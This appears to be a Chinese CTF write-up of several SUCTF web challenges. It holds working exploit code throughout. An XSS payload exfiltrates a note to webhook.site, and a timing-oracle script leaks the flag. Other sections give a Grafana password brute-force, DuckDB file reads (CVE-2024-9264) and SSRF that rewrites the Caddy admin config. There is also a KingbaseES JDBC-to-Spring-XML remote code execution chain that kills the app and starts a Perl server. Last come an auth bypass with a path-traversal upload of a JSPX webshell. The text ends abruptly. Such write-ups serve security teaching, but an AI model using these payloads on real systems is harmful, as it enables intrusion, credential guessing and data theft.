Web

SU_Note

我去翻搜索页。先随便搜个 test,拿到的源码片段是这样的:

1
2
3
4
5
6
7
8
9
10
11
const searchQuery = "test";
const isZeroResult = true;
const isSearchDone = searchQuery !== '';

if (isSearchDone) {
window.setTimeout(() => {
try {
window.history.back();
} catch (e) {}
}, 5000);
}

看到这里基本就不用再去纠结别的输入点了。q 直接落在 JavaScript 字符串里,而且没有转义。为了确认不是我看错了,我又喂了一个最朴素的闭合脚本:

1
</script ><script>console.log(1337)</script >

然后页面源码里真的就是原样反射:

1
const searchQuery = "</script ><script>console.log(1337)</script >";

这就已经够了。搜索页本身就是现成的反射型 XSS,而且还是脚本上下文,利用成本低得不能再低。顺便这个页面还有一个很重要的细节:只要触发了搜索,5 秒后就会 history.back()。这意味着 payload 不能依赖后续交互,得一上来就把读取和外带全做完,不然 Bot 会自己退回去。

到了这里,整条链已经比较顺了。题目既然明确告诉我容器服务在 127.0.0.1:80,那最合理的利用方式就不是让 Bot 去访问我的外站,而是让它访问站点自己的内网搜索页,把 payload 塞进 q 里。这样脚本执行时的 origin 还是题目站本身,后面去读笔记详情就不会撞到同源策略。

我最后给 Bot 的目标地址就是这种形式:

1
http://127.0.0.1:80/search.php?q=%3C%2Fscript%20%3E%3Cscript%3E...%3C%2Fscript%20%3E

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</script ><script>
fetch('/?note=__system_flag_note__').then(r => r.text()).then(t => {
const m = t.match(/SUCTF\{[01]+\}/);
if (m) {
(new Image).src = 'https://webhook.site/<token>?flag=' + encodeURIComponent(m[0]);
return;
}

const s = 360;
const n = Math.ceil(t.length / s);
for (let i = 0; i < n; i++) {
const d = t.slice(i * s, (i + 1) * s);
(new Image).src = 'https://webhook.site/<token>?i=' + i + '&d=' + encodeURIComponent(d);
}
(new Image).src = 'https://webhook.site/<token>?done=1&n=' + n;
}).catch(e => {
(new Image).src = 'https://webhook.site/<token>?err=' + encodeURIComponent(String(e));
});
</script >

SU_Note_rev

其实这题rev也可以外带,说说可能的预期解法。

利用思路:通过XSS让Bot的浏览器用自身session去搜索笔记,根据搜索是否有结果(isZeroResult = false表示有匹配)来决定是否执行延时循环。在攻击者这边测量Bot的响应时间即可判断搜索词是否命中了Bot的笔记。由于flag body只有0和1,每一位只需要测试一种可能——测试prefix+0是否匹配,命中则该位是0,否则是1。逐位泄露即可还原完整flag。

核心payload构造如下。对于要测试的搜索词QUERY

1
2
3
4
5
6
var x=new XMLHttpRequest();
x.open('GET','/search.php?q=QUERY',false);
x.send();
if(x.responseText.indexOf('isZeroResult = false')>-1){
var d=Date.now();while(Date.now()-d<5000){}
}

这段代码用同步XHR以Bot身份请求搜索接口。如果搜索有结果(页面中出现isZeroResult = false),就忙循环5秒;否则立即结束。最终这段JS被拼成XSS URL:

1
http://127.0.0.1/search.php?q=</script><script>上面的JS</script>

需要注意的限制:Bot接口有频率限制(同一IP每60秒3次),每次请求约13-18秒,所以整个泄露过程需要处理限速等待。

完整利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests, re, time, urllib.parse, sys

BASE = 'http://101.245.81.83:10004'
USER = 'solver10004_a1'
PASS = 'solver10004_a1'

s = requests.Session()

r = s.get(f'{BASE}/register.php')
csrf = re.search(r'name="_csrf" value="([^"]+)"', r.text).group(1)
s.post(f'{BASE}/register.php', data={'_csrf': csrf, 'username': USER, 'password': PASS})
r = s.get(f'{BASE}/login.php')
csrf = re.search(r'name="_csrf" value="([^"]+)"', r.text).group(1)
s.post(f'{BASE}/login.php', data={'_csrf': csrf, 'action': 'login', 'username': USER, 'password': PASS}, allow_redirects=True)

def send_bot_safe(url, label=''):
for attempt in range(6):
try:
r = s.get(f'{BASE}/bot/')
csrf = re.search(r'name="_csrf" value="([^"]+)"', r.text).group(1)
t0 = time.time()
r = s.post(f'{BASE}/bot/', data={'_csrf': csrf, 'action': 'visit', 'url': url}, allow_redirects=True, timeout=90)
elapsed = time.time() - t0
flash = re.findall(r'class="flash[^"]*">(.*?)</div>', r.text)
flash_text = ' '.join(flash)
if '频繁' in flash_text or elapsed < 8:
m = re.search(r'剩余 (\d+) 秒', flash_text)
wait = int(m.group(1)) + 3 if m else 65
time.sleep(wait)
continue
return elapsed
except Exception as e:
time.sleep(30)
return -1

def test_match(query, label=''):
encoded = urllib.parse.quote(query, safe='')
js = (
f"var x=new XMLHttpRequest();"
f"x.open('GET','/search.php?q={encoded}',false);"
f"x.send();"
f"if(x.responseText.indexOf('isZeroResult = false')>-1)"
f"{{var d=Date.now();while(Date.now()-d<5000){{}}}}"
)
payload = '</script><script>' + js + '</script>'
url = 'http://127.0.0.1/search.php?q=' + urllib.parse.quote(payload)
elapsed = send_bot_safe(url, label)
if elapsed < 0:
return None
return elapsed > 15

known = ''
for i in range(40):
if i >= 4 and i % 4 == 0:
if test_match(f'SUCTF{{{known}}}'):
print(f'FLAG: SUCTF{{{known}}}')
sys.exit(0)

r = test_match(f'SUCTF{{{known}0')
if r is True:
known += '0'
elif r is False:
r1 = test_match(f'SUCTF{{{known}1')
if r1 is True:
known += '1'
else:
if test_match(f'SUCTF{{{known}}}'):
print(f'FLAG: SUCTF{{{known}}}')
sys.exit(0)
known += '1'
print(f'Bit {i} -> SUCTF{{{known}}}')

print(f'SUCTF{{{known}}}')

整个过程大约需要泄露10个bit,因为限速的存在需要等待若干分钟。最终得到:

1
SUCTF{1101101010}

SU_Thief

访问 /metrics 端口可以直接看 Prometheus 指标(Grafana 默认开的),从里面能看到不少有用信息:

  • Grafana 版本 11.0.0
  • sql_expressions 功能开启(这个后面有用,CVE-2024-9264 的前置条件)
  • 登录接口有大量 200 和 401 记录,说明有人成功登录过

更关键的是从 /login 的 bootData 里看到了:

1
2
3
"sql_expressions": true
"localFileSystemAvailable": true
"expressionsEnabled": true

题目说了 “lazy admin”,那大概率是弱口令。试了一圈常见密码,最终发现是键盘走位密码:

admin:1q2w3e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
brute.py
import requests

BASE = "http://156.239.26.40:13333"
passwords = [
"admin", "123456", "password", "grafana", "admin123",
"1q2w3e", "qwerty", "abc123", "letmein", "welcome",
]

for pwd in passwords:
r = requests.post(f"{BASE}/login", json={"user": "admin", "password": pwd})
if r.status_code == 200:
print(f"[+] Found! admin:{pwd}")
break
else:
print(f"[-] admin:{pwd} => {r.status_code}")

登进去之后,因为 sql_expressions 开着,直接可以用 DuckDB 来执行 SQL 表达式。这就是 CVE-2024-9264,本质上是 Grafana 把 SQL 表达式丢给 DuckDB 执行,而 DuckDB 有 read_text()read_csv_auto() 等函数可以读文件。

试一下能不能读文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
test_duckdb.py
import requests, json

BASE = "http://156.239.26.40:13333"
s = requests.Session()
s.post(f"{BASE}/login", json={"user": "admin", "password": "1q2w3e"})

def sql_query(expr):
payload = {
"queries": [{
"refId": "A",
"datasource": {"type": "__expr__", "uid": "__expr__"},
"type": "sql",
"expression": expr
}],
"from": "now-5m",
"to": "now"
}
r = s.post(f"{BASE}/api/ds/query", json=payload)
return r.json()

# 测试基础查询
print(sql_query("SELECT version() as v"))
# => DuckDB v1.0.0

# 读 /etc/passwd 成功
print(sql_query("SELECT * FROM read_text('/etc/passwd')"))
# => grafana:x:472:472:grafana:/usr/share/grafana:/bin/false ...

# 读 /root/flag 失败(权限不够)
print(sql_query("SELECT * FROM read_text('/root/flag')"))
# => 空结果,grafana 用户没权限读 root 的文件

DuckDB 可以读世界可读的文件,但 /root/flag 是 root 权限的,grafana 用户读不了。pipe 命令执行也试了,DuckDB v1.0.0 不支持 read_csv_auto('| command') 的 pipe 语法。

所以我们需要找到另一条路来提权读 flag。

登录后查看数据源列表 GET /api/datasources,发现了一堆很有意思的数据源:

名称 类型 URL
caddy-ssrf prometheus http://localhost:2019
caddy-admin-api infinity http://localhost:2019
caddy-api alertmanager http://localhost:2019
caddy-api2 alertmanager http://localhost:2019
thief2 prometheus http://localhost:2019
alertmanager alertmanager http://127.0.0.1:2019/root/flag

全指向 localhost:2019 这是 Caddy 的 Admin API 端口。题目名字叫 SU_Thief,”身边最近的小偷”指的就是 Caddy——它以 root 权限运行,并且可以通过 Admin API 动态修改配置。

通过 Grafana 的 datasource proxy 功能,可以 SSRF 访问到 Caddy Admin API:

1
GET /api/datasources/proxy/2/config/

返回当前 Caddy 配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":80"],
"routes": [{
"handle": [{
"handler": "reverse_proxy",
"upstreams": [{"dial": "127.0.0.1:3000"}]
}]
}]
}
}
}
}
}

就一个简单的反向代理把 80 端口转发到 Grafana 的 3000。

Caddy Admin API 支持 PATCH 方法来修改配置。而 Grafana 的 prometheus 类型数据源代理允许 PATCH 请求通过!

我们只需要往 Caddy 配置里加一条路由:让 /flag 路径直接用 file_server 返回 /root/ 目录下文件。因为 Caddy 是以 root 权限运行的,所以它有权限读取 /root/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
exploit.py
import requests, json

BASE = "http://156.239.26.40:13333"
s = requests.Session()
s.post(f"{BASE}/login", json={"user": "admin", "password": "1q2w3e"})

# 构造新的 Caddy 配置:增加 /flag 路由
new_config = {
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":80"],
"routes": [
{
"match": [{"path": ["/flag"]}],
"handle": [{
"handler": "file_server",
"root": "/root/"
}],
"terminal": True
},
{
"handle": [{
"handler": "reverse_proxy",
"upstreams": [{"dial": "127.0.0.1:3000"}]
}]
}
]
}
}
}
}
}

# 通过 datasource proxy SSRF 到 Caddy Admin API,PATCH 修改配置
# 使用 caddy-ssrf 数据源(id=2, prometheus 类型,url=http://localhost:2019)
r = s.patch(f"{BASE}/api/datasources/proxy/2/config/", json=new_config)
print(f"PATCH config: {r.status_code}") # 200 = 成功

# 验证配置已更新
r = s.get(f"{BASE}/api/datasources/proxy/2/config/")
print(f"New config: {r.text}")

# 直接访问 /flag 拿到 flag!
r = requests.get(f"{BASE}/flag")
print(f"Flag: {r.text}")
# => SUCTF{c4ddy_4dm1n_4p1_2019_pr1v35c}

访问 http://156.239.26.40:13333/flag 直接返回 flag:

1
SUCTF{c4ddy_4dm1n_4p1_2019_pr1v35c}

SU_jdbc-master

题目最外面先有一道路径过滤。代码长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HttpServletRequest r = request;
HttpServletResponse res = response;
String servletPath = r.getServletPath();
if (servletPath != null && (servletPath
.matches("(?i).*s\\W*u\\W*c\\W*t\\W*f.*") || servletPath
.toLowerCase().contains("suctf") || servletPath
.toLowerCase().replaceAll("[^a-z0-9]", "").contains("suctf"))) {
res.setStatus(403);
res.getWriter().write("blocked by filter");
return false;
}
return true;
}

如果只看这段,会觉得很烦:正则、toLowerCase()、去掉非字母数字之后再查一遍,全都上了。后面再翻一下路径匹配配置,关键点就出来了:

1
2
3
4
5
6
public void configurePathMatch(PathMatchConfigurer configurer) {
configurer.setPatternParser(null);
AntPathMatcher matcher = new AntPathMatcher();
matcher.setCaseSensitive(false);
configurer.setPathMatcher((PathMatcher)matcher);
}

这里把 AntPathMatcher 设成了大小写不敏感。这个地方在 Java 8 下可以通过 Unicode 绕过:ſ

1
/api/connection/%C5%BFuctf

也就是把 suctf 里的第一个 s 换成 ſ

进了接口以后,先看后端到底怎么处理输入。这里有一段很关键:

1
2
3
4
5
6
7
8
9
10
11
12
DatasourceConfiguration configuration = (DatasourceConfiguration)this.objectMapper.readValue(configurationJson, Pg.class);
Properties props = new Properties();
if (configuration.getUsername() != null && !configuration.getUsername().trim().isEmpty())
props.setProperty("user", configuration.getUsername());
if (configuration.getPassword() != null && !configuration.getPassword().trim().isEmpty())
props.setProperty("password", configuration.getPassword());
String jdbcUrl = configuration.getJdbc();
validateJdbcUrl(jdbcUrl);
String driverClassName = configuration.getDriver();
Class<?> driverClass = this.driverClassLoader.loadClass(driverClassName);
Driver driver = (Driver)driverClass.newInstance();
try (Connection connection = driver.connect(jdbcUrl, props)) {

第一个坑就在这。Pg 的默认驱动不是 Kingbase,而是 PostgreSQL:

1
2
3
4
5
6
7
private String driver = "org.postgresql.Driver";

public String getJdbc() {
if (StringUtils.isNoneEmpty(new CharSequence[] { getUrlType() }) && !getUrlType().equalsIgnoreCase("hostName"))
return getJdbcUrl();
...
}

也就是说,如果你只顾着改 jdbcUrl,忘了显式写:

1
"driver":"com.kingbase8.Driver"

那后面很多调试时间都在白费。表面上看你已经在打 jdbc:kingbase8:,实际上后端还是在拿 PostgreSQL 驱动试。

然后是 URL 校验。这里直接看代码:

1
2
3
4
5
6
7
8
9
10
11
private void validateJdbcUrl(String jdbcUrl) throws UnsupportedEncodingException {
if (jdbcUrl == null || jdbcUrl.trim().isEmpty())
throw new IllegalArgumentException("jdbcUrl is empty");
if (jdbcUrl.trim().toLowerCase().contains(":/") || jdbcUrl.trim().toLowerCase().contains("/?"))
throw new IllegalArgumentException("Cannot contain special characters");
String jdbcUrlLower = jdbcUrl.toLowerCase();
for (String illegal : ILLEGAL_PARAMETERS) {
if (jdbcUrlLower.contains(illegal.toLowerCase()))
throw new IllegalArgumentException("Illegal parameter: " + illegal);
}
}

这里ban了两类东西。第一类是 ://?,这就把很多常规的 jdbc:xxx://host:port/db 写法直接干掉了。第二类是黑名单参数,socketFactorysocketFactoryArg 这些关键字你都不能直接放在 URL 里。

可以通过 ConfigurePath绕过:

1
jdbc:kingbase8:mydb?ConfigurePath=/proc/self/fd/N

没有 ://,没有 :/,也没直接出现黑名单里的参数。只要能把一个可控文件挂到 /proc/self/fd/N,后面驱动自己会去把它读成 Properties。

接下来直接看驱动逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ((props = parseURL(url, props)) == null)
return null;
try {
if (KBProperty.CONFIGUREPATH.get(props) != null)
try {
props = initJDBCCONF(props);
} catch (Exception e) {
LOGGER.log(Level.SEVERE, "initJDBCCONF Exception: " + e.getMessage(), new Object[0]);
throw new KSQLException(GT.tr(e.getMessage(), new Object[0]), KSQLState.UNEXPECTED_ERROR, e);
}
...
setupLoggerFromProperties(props);
LOGGER.log(Level.FINE, "Connecting with URL: {0}", new Object[] { url });
long timeout = timeout(props);
if (timeout <= 0L)
return makeConnection(url, props);

ConfigurePath 那条线展开以后,就很清楚了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Properties initJDBCCONF(Properties props) throws Exception {
Properties p = loadPropertyFiles(KBProperty.CONFIGUREPATH.get(props), props);
return p;
}

public static Properties loadPropertyFiles(String name, Properties props) throws IOException {
Properties p = new Properties(props);
File f = getFile(name);
if (!f.exists())
throw new IOException("Configuration file " + f.getAbsolutePath() + " does not exist. Consider adding it to specify db host and login");
try {
p.load(new FileInputStream(f));
} catch (IOException ex) {
ex.printStackTrace();
}
return p;
}

这里相当于直接告诉你:只要 ConfigurePath 指到一个存在的本地文件,文件里写的东西会并进最终 Properties。后面我所有利用都是围绕这一句在打。

真正的 sink 就在 socketFactory

1
2
3
4
5
6
7
8
9
10
11
12
public static SocketFactory getSocketFactory(Properties info) throws KSQLException {
String socketFactoryClassName = KBProperty.SOCKET_FACTORY.get(info);
if (socketFactoryClassName == null)
return SocketFactory.getDefault();
try {
return (SocketFactory)ObjectFactory.instantiate(socketFactoryClassName, info, true, KBProperty.SOCKET_FACTORY_ARG
.get(info));
} catch (Exception e) {
throw new KSQLException(
GT.tr("The SocketFactory class provided {0} could not be instantiated.", new Object[] { socketFactoryClassName }), KSQLState.CONNECTION_FAILURE, e);
}
}

以及:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {
Object[] args = { info };
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
ctor = cls.getConstructor(new Class[] { Properties.class });
} catch (NoSuchMethodException nsme) {
if (tryString)
try {
ctor = cls.getConstructor(new Class[] { String.class });
String[] arrayOfString = { stringarg };
} catch (NoSuchMethodException nsme2) {
tryString = false;
}
if (!tryString) {
ctor = cls.getConstructor((Class[])null);
args = null;
}
}
return ctor.newInstance(args);
}

socketFactory 指定类名,socketFactoryArg 给构造参数,驱动会去尝试 Properties 构造、String 构造、无参构造。只要我把:

1
2
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:///proc/self/fd/N

塞进去,驱动就会去 new 一个 FileSystemXmlApplicationContext(String):构造时就加载 XML,bean 在刷新上下文时就跑。最后哪怕强转 SocketFactory 失败,命令也已经执行了。

链条已经清楚了,难点只剩两个:怎么把文件挂到 /proc/self/fd/N,以及怎么让同一个文件既能当 Properties 又能当 XML。

先说第一个。这里我一开始也走过弯路,后来发现最稳定的还是未闭合 multipart。核心代码很短:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
body = f"--{boundary}\r\n".encode()
body += b'Content-Disposition: form-data; name="file"; filename="polyglot.tmp"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += payload
body += b"\n" * 300
content_length = len(body) + 100000
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {content_length}\r\n"
"Connection: keep-alive\r\n\r\n"
).encode()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
sock.sendall(headers + body)

注意几个坑。

第一个坑,不是“上传成功”才有用,恰恰是上传不要成功。boundary 不要闭合,Content-Length 故意写大,让服务端一直等后续数据。这样 multipart 解析线程不会结束,写临时文件的 FD 也不会关。

第二个坑,后面那一大坨 \n 不是摆设。我当时前面一切都对,就是 XML 总在一些非常诡异的位置断。后来才确认 Tomcat 的 multipart 末尾有一段 tail buffer,最后几字节可能还留在内存里,没真正写进临时文件。补空白以后,真正有意义的 XML 结尾才会稳稳落盘。

第三个坑,千万不要想当然地以为“临时文件 FD 还开着,读就一定没问题”。这个地方后面还埋着一个更大的坑。

接下来就是这题最后的关键优化:不用两份文件,直接把 Properties 和 XML 融成一个 combined payload。大概长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingBean">
<property name="targetObject">
<bean class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>echo BASE64 | base64 -d | bash</value>
</list>
</constructor-arg>
</bean>
</property>
<property name="targetMethod" value="start"/>
</bean>
<!--
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:///proc/self/fd/28
-->
</beans>

前面我也试过两文件方案,一份 props 一份 XML,本地能通,远程就很难受,因为你得同时猜中两个 FD。只要其中一个偏了,现象就是“差一点,但就是不成”。

把它们揉成一个文件以后,逻辑立刻简单很多。Properties.load() 会把注释里的:

1
2
socketFactory=...
socketFactoryArg=...

当正常键值读进去;XML 解析器又会把这两行当注释忽略掉。等于同一个文件被解释两遍,而两遍各取所需。

这里还有一个非常坑的点,也是我后面才完全确认的:socketFactoryArg 不能偷懒写成普通 /proc/self/fd/N 路径。这个地方如果写错,驱动那边明明 ConfigurePath=/proc/self/fd/N 是能读的,Spring 那边偏偏读不起来。

原因在 IO 路径不一样。ConfigurePath 走的是:

1
new FileInputStream(f)

老 IO 重新打开底层文件,没问题。

Spring 处理普通文件路径时,很可能走到 NIO 那条路,对这种 /proc/self/fd/N 的“写打开 FD 链接”会直接炸掉。所以最后我稳定写的是:

1
socketFactoryArg=file:///proc/self/fd/N

这个 file:/// 不是装饰,是关键修复。它强制 Spring 走 URL 资源那条老 IO 路线。

再说最后的命令执行。Java 自己不能出网。所以我直接抢8080端口:

1
2
3
4
5
6
7
#!/bin/bash
cp /flag /tmp/index.html
echo PERL_B64 | base64 -d > /tmp/s.pl
sleep 2
pgrep -f app.jar | xargs kill -9 2>/dev/null || true
sleep 1
exec perl /tmp/s.pl

Perl 服务也很简单:

1
2
3
4
5
6
7
8
9
use IO::Socket::INET;
my $c; { local $/; open(F,"</tmp/index.html"); $c=<F>; close F; }
my $s=IO::Socket::INET->new(LocalPort=>8080,Listen=>5,Reuse=>1) or exit 1;
while(my $cl=$s->accept()){
my $req="";
while(my $line=<$cl>){ $req.=$line; last if $line=~/^\r?$/; }
print $cl "HTTP/1.0 200 OK\r\nContent-Length: ".length($c)."\r\n\r\n".$c;
close $cl;
}

这里我还踩过一个坑:local $/ 的作用域一开始放大了,后面读 socket 的时候还在用 undef 的分隔符,导致服务行为很怪。后来把它缩到读取文件的那一小段作用域里,才完全正常。

先挂住 combined payload,再打一发:

1
jdbc:kingbase8:mydb?ConfigurePath=/proc/self/fd/N

如果 N 猜对了,驱动会先把这个 FD 当作 Properties 读一遍,再把同一个 FD 当作 Spring XML 读一遍。然后 ProcessBuilder 起命令,Java进程被杀,Perl 接管 8080。再去 GET /,看到的就不再是欢迎页面,而是 flag。

远程最后成的那次,实际上也没什么玄学,就是第一个挂住文件的 FD 很接近本地观察到的分布。我的脚本默认试的是:

1
[28, 27, 26, 29, 30, 25, 31]

最后拿到flag :

1
suctf{u5Ing_JdbC_70_rce_iS_vEry_s1mpl3!_!!}

SU_wms

给的东西很少,一个应用容器,一个数据库初始化脚本,一个 war 包。构建脚本里最关键的两段分别是重打包应用和随机放 flag:

1
2
3
4
5
6
7
8
9
rm -rf /usr/local/tomcat/webapps/*
mkdir -p /tmp/jeewms
cd /tmp/jeewms
jar xf /tmp/jeewms.war
jar cf /usr/local/tomcat/webapps/jeewms.war -C /tmp/jeewms .
FLAG_DIR="$(cat /proc/sys/kernel/random/uuid | tr -d '-' | cut -c1-12)"
FLAG_NAME="flag_$(cat /proc/sys/kernel/random/uuid | tr -d '-' | cut -c1-8)"
mkdir -p "/${FLAG_DIR}"
mv /tmp/flag "/${FLAG_DIR}/${FLAG_NAME}"

这两段基本把题目的框架说完了:目标是个跑在 Tomcat 上的老 Java 应用,flag 不在固定位置,最后一定要拿到命令执行以后再去找。再往下看数据库初始化,t_s_base_user 只有表结构,没有任何记录:

1
-- Records of t_s_base_user

看到这里其实思路就很明确了,正常登录这条路根本没必要浪费时间,重点应该放在“前台接口”和“认证绕过”上。

我接下来的搜索顺序很简单,先看拦截器,再看 tokenuploadsaveImage 这种明显和文件、接口有关的关键词。我本地实际就是这么翻的:

很快就能在认证配置里看到这样一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<mvc:interceptor>
<mvc:mapping path="/**" />
<bean class="org.jeecgframework.core.interceptors.AuthInterceptor">
<property name="excludeUrls">
<list>
<value>loginController.do?login</value>
<value>rest/tokens/login</value>
<value>rest/wmToDownGoodsController</value>
<value>rest/wmToUpGoodsController</value>
<value>rest/wmInQmIController</value>
<value>rest/wvNoticeController</value>
<value>rest/wvGiController</value>
<value>rest/mdGoodsController</value>
<value>rest/wvStockController</value>
<value>rest/wmSttInGoodsController</value>
<value>rest/wmToMoveGoodsController</value>
</list>
</property>
<property name="excludeContainUrls">
<list>
<value>systemController/showOrDownByurl.do</value>
<value>wmsApiController.do</value>
</list>
</property>
</bean>
</mvc:interceptor>

这里我一开始就注意到一件事:这个站对 /rest/* 相关接口明显比普通 .do 接口宽松得多,很多接口本身就在白名单附近打转。所以我没有急着认定某一个上传点必须先绕过认证,而是先把 AuthInterceptor 的判定方式完全审计了一遍。继续往下跟,核心逻辑是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
String requestPath = ResourceUtil.getRequestPath(request);
if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
return true;
}
if (this.excludeUrls.contains(requestPath)) {
return true;
}
if (this.moHuContain(this.excludeContainUrls, requestPath)) {
return true;
}
return false;
}

private boolean moHuContain(List<String> list, String key) {
for (String str : list) {
if (key.contains(str)) {
return true;
}
}
return false;
}

excludeContainUrls 居然是 contains 模糊匹配。再继续看 requestPath 是怎么拼出来的,问题就彻底坐实了:

1
2
3
4
5
6
7
8
9
10
11
12
public static String getRequestPath(HttpServletRequest request) {
String queryString = request.getQueryString();
String requestPath = request.getRequestURI();
if (StringUtils.isNotEmpty(queryString)) {
requestPath = requestPath + "?" + queryString;
}
if (requestPath.indexOf("&") > -1) {
requestPath = requestPath.substring(0, requestPath.indexOf("&"));
}
requestPath = requestPath.substring(request.getContextPath().length() + 1);
return requestPath;
}

这个函数的行为非常关键:

  • requestPath 不是单纯的 URI,而是 URI + ? + 查询串
  • 但是它只保留第一个 & 之前的内容
  • 后面的参数虽然不参与认证判断,request.getParameter() 依然能正常取到

这样一来,excludeContainUrls 里的 wmsApiController.do 就成了一个通杀关键字。只要我把它塞进第一个查询参数的位置,requestPath 就会带上这个字符串,从而直接放行。

构造方法很直接:

1
任意接口?wmsApiController.do&真正参数1=xxx&真正参数2=yyy

认证看到的是:

1
任意接口?wmsApiController.do

业务代码看到的却还是完整参数。这个设计在老 Java 系统里属于非常典型的“拿查询串做白名单判断,但拿参数对象做业务处理”,一旦混用就很容易出这种问题。就算某些 /rest/* 路由本身也可能因为正则判断被放过去,我最后还是选择把这个绕过手法固定带上,这样利用链更稳,也更符合脚本化思路。

认证问题有了,下一步就是找一个能稳定落地文件的位置。我搜的是 saveImageimageFileNamefileAddrwebUploadpath 这几个词,很快就翻到一个接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RequestMapping(value={"/saveImage"}, method={RequestMethod.PUT})
@ResponseBody
public ResultDO<?> saveImage(HttpServletRequest request) {
String fileName = request.getParameter("imageFileName");
String fileAddr = request.getParameter("fileAddr");
ServletInputStream ins = request.getInputStream();
fileAddr = ResourceUtil.getConfigByName("webUploadpath") + File.separator + fileAddr;
File f = new File(fileAddr);
if (!f.exists()) {
f.mkdirs();
}
fileAddr = f.getCanonicalPath();
FileOutputStream os = new FileOutputStream(fileAddr + File.separator + fileName);
// ...
}

看到这里基本就可以开始写 exp 了,因为几个条件全部满足:

  • 文件名来自 imageFileName,没有后缀限制
  • 目录来自 fileAddr,没有路径过滤
  • 文件内容直接来自 PUT 请求体,完全可控

如果上传目录是个正常的绝对路径,这里还只是“任意文件写到上传目录”。但这个题故意把配置写成了一个很怪的值:

1
webUploadpath=C://upFiles

C://upFiles 在 Windows 上像绝对路径,在 Linux 容器里却只是一个普通相对路径。Tomcat 的工作目录是 /usr/local/tomcat,所以真正参与解析的其实是:

1
/usr/local/tomcat/C:/upFiles/../../webapps/jeewms

做完规范化以后,前面的 C:/upFiles/../../ 会被吃掉,最后正好落到:

1
/usr/local/tomcat/webapps/jeewms

也就是说,只要把 fileAddr 设成 ../../webapps/jeewms,就能把任意内容直接写进 web 根目录。再配合一个可执行后缀,这题其实已经结束了。

我最后用的是 JSPX,而不是最传统的 JSP。一方面 Tomcat 原生支持,另一方面远程环境对一些常见关键字有检测,直接上那种 Runtime.getRuntime().exec() 风格的一句话马会被重置连接。这里我实际试过,换成 ProcessBuilder 后就稳定很多,所以最后落地的是下面这段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page contentType="text/plain" pageEncoding="UTF-8"/>
<jsp:scriptlet>
String c = request.getParameter("c");
if (c != null) {
String[] a = new String[]{"/bin/sh", "-c", c};
ProcessBuilder pb = new ProcessBuilder(a);
pb.redirectErrorStream(true);
InputStream i = pb.start().getInputStream();
int b; while((b=i.read())!=-1) out.write(b);
} else out.print("ok");
</jsp:scriptlet>
</jsp:root>

完整请求长这样:

1
2
3
4
5
PUT /jeewms/rest/tokens/saveImage?wmsApiController.do&imageFileName=s.jspx&fileAddr=../../webapps/jeewms HTTP/1.1
Host: target
Content-Type: application/octet-stream

<jspx webshell>

这里有几个细节都卡得很准:

  • wmsApiController.do 必须放在第一个参数位置,保证它出现在第一个 & 之前
  • imageFileName=s.jspx 让 Tomcat 把它当 JSPX 执行
  • fileAddr=../../webapps/jeewms 负责穿越到 webroot
  • 请求体直接就是 shell 内容,不需要走 multipart

上传成功以后,先别急着找 flag,先验证命令执行有没有拿稳:

1
2
curl -s "http://target/jeewms/s.jspx?c=echo%20pwned"
curl -s "http://target/jeewms/s.jspx?c=id"

返回正常的话,通常能看到:

1
2
pwned
uid=999(wms) gid=999(wms) groups=999(wms)

到这里我就回过头去利用前面从构建脚本里拿到的信息了:flag 文件名一定是 flag_ 开头,而且在根目录下面的随机目录里。所以最省事的做法就是直接全盘找:

1
find / -name 'flag_*' -type f 2>/dev/null

结果会是类似这样的一条路径:

1
